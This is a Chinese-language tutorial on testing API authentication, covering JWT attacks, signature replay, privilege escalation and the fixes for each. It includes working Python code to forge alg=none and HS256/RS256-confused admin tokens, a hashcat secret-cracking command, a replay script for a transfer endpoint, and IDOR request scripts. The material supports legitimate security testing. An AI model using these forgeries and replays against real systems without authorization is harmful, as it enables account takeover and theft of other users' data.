跳转至

接口鉴权与签名测试:从绕过手法到验证代码

鉴权测试的目标不是“能否登录”,而是“能否用别人的身份、过期的凭证、伪造的签名拿到数据”。

1. JWT 的五个真实攻击面

一个典型的 JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDEsInJvbGUiOiJ1c2VyIn0.xxxx

解码:

python - <<'PY'
import base64, json
t = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDEsInJvbGUiOiJ1c2VyIn0"
for p in t.split("."):
    print(json.loads(base64.urlsafe_b64decode(p + "=" * (-len(p) % 4))))
PY

1.1 alg=none

把 header 改成 {"alg":"none","typ":"JWT"},签名段留空:

import base64, json

def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()

header = b64({"alg": "none", "typ": "JWT"})
payload = b64({"uid": 1001, "role": "admin"})
print(f"{header}.{payload}.")

如果服务端仍返回 200,说明它信任了 token 自带的算法。修复:服务端写死允许的算法,不要读 header。

1.2 HS256 / RS256 混淆

服务端用 RS256 公钥验签,攻击者把 alg 改成 HS256,用公钥字符串当 HMAC 密钥签名。若库按 header 选算法,验签会通过。

验证思路(授权环境):拿到 /.well-known/jwks.json 或公钥 PEM,尝试:

import hmac, hashlib, base64, json

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

public_pem = open("public.pem", "rb").read()
header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64(json.dumps({"uid": 1001, "role": "admin"}).encode())
signing_input = f"{header}.{payload}".encode()
sig = b64(hmac.new(public_pem, signing_input, hashlib.sha256).digest())
print(f"{header}.{payload}.{sig}")

修复:按 kid 选择密钥,并校验 alg 属于该密钥允许的类型。

1.3 不校验过期

import jwt, datetime
token = jwt.encode({"uid": 1001, "exp": datetime.datetime.utcnow() - datetime.timedelta(days=1)},
                   "secret", algorithm="HS256")

拿过期 token 请求,预期 401。如果还能用,检查是否只做了签名校验没验证 exp/nbf。

1.4 密钥可猜

# 用常见弱密钥字典离线爆破 HS256
hashcat -m 16500 token.txt wordlist.txt

测试时先看密钥是否形如 secret、123456、项目名。修复:≥256 bit 随机密钥,定期轮换。

1.5 登出不失效

退出登录后再用旧 token 请求。JWT 无状态,若不维护黑名单或短过期,旧 token 一直有效。修复:jti + Redis 黑名单,或 access token 15 分钟 + refresh token 轮换。

2. AK/SK 签名:重放与排序

典型签名:

stringToSign = method + "\n" + path + "\n" + sortedQuery + "\n" + timestamp + "\n" + nonce + "\n" + sha256(body)
signature = base64(hmac_sha256(secretKey, stringToSign))

测试点与可复现做法:

测试 操作 预期
参数篡改 改 body 金额后沿用旧签名 401/403
重放 原样重发同一请求(同 nonce) 第二次拒绝
时间窗 把 timestamp 改到 10 分钟前 拒绝
排序差异 加一个参数但不重排签名 拒绝
空 body GET 请求 body 哈希规则 与服务端一致
密钥泄漏 反编译 App/前端找 secret 不应存在

重放脚本:

import requests, time

req = {
    "method": "POST",
    "url": "https://api.example.com/api/v1/transfer",
    "headers": {"X-Signature": "...", "X-Timestamp": "...", "X-Nonce": "abc123"},
    "json": {"to": "u2", "amount": "100.00"},
}

for i in range(3):
    r = requests.request(**req, timeout=5)
    print(i, r.status_code, r.text[:120])
    time.sleep(0.2)

三次都成功 = 无防重放。

3. 越权的系统化验证

准备两个账号:userA(普通)、userB(普通)、admin(管理员)。

import requests

BASE = "https://api.example.com"
A = {"Authorization": "Bearer <tokenA>"}
B = {"Authorization": "Bearer <tokenB>"}

# 1. 水平越权:A 读 B 的订单
r = requests.get(f"{BASE}/api/orders/20002", headers=A, timeout=5)
print("horizontal", r.status_code, r.text[:100])

# 2. 垂直越权:普通用户调管理接口
r = requests.post(f"{BASE}/api/admin/users/1001/disable", headers=A, timeout=5)
print("vertical", r.status_code, r.text[:100])

# 3. 批量接口混入他人 ID
r = requests.post(f"{BASE}/api/orders/export",
                  headers=A, json={"ids": [20001, 20002, 20003]}, timeout=5)
print("batch", r.status_code, r.text[:200])

判断标准:

  • 返回 200 且包含他人数据 → 越权成立
  • 返回 403 → 正常
  • 返回 404 → 可能做了归属校验,也可能接口不存在,需要进一步确认
  • 返回 500 → 通常是空指针,说明代码假设“资源一定属于当前用户”

容易漏的接口:导出、下载、消息详情、关联查询(通过订单查用户)、文件预览、多租户 tenantId 可改。

4. 常见鉴权实现错误(Java)

// 错误 1:信任客户端传的 userId
@GetMapping("/orders")
public List<Order> list(@RequestParam Long userId) {
    return orderService.listByUser(userId);   // 任何人可查任何人
}

// 正确:从认证上下文取
@GetMapping("/orders")
public List<Order> list(@AuthenticationPrincipal LoginUser user) {
    return orderService.listByUser(user.getId());
}
// 错误 2:只在 Controller 校验角色
@PreAuthorize("hasRole('ADMIN')")   // 漏了方法级,或只在前端隐藏按钮
// 错误 3:归属校验写成“存在即可”
Order o = orderMapper.selectById(id);
if (o != null) { return o; }        // 没有 o.userId == currentUser.id

5. 验证修复是否到位

  • 拿 A 的 token 遍历所有带 ID 的接口,替换为 B 的资源 ID,全部应 403/404
  • 过期 token、alg=none token、篡改 payload 的 token 全部 401
  • 同一签名请求重放 3 次,只有第一次成功
  • 退出登录后旧 token 立即失效
  • 用低权限账号访问 Swagger 中所有 /admin/** 接口,全部拒绝

相关阅读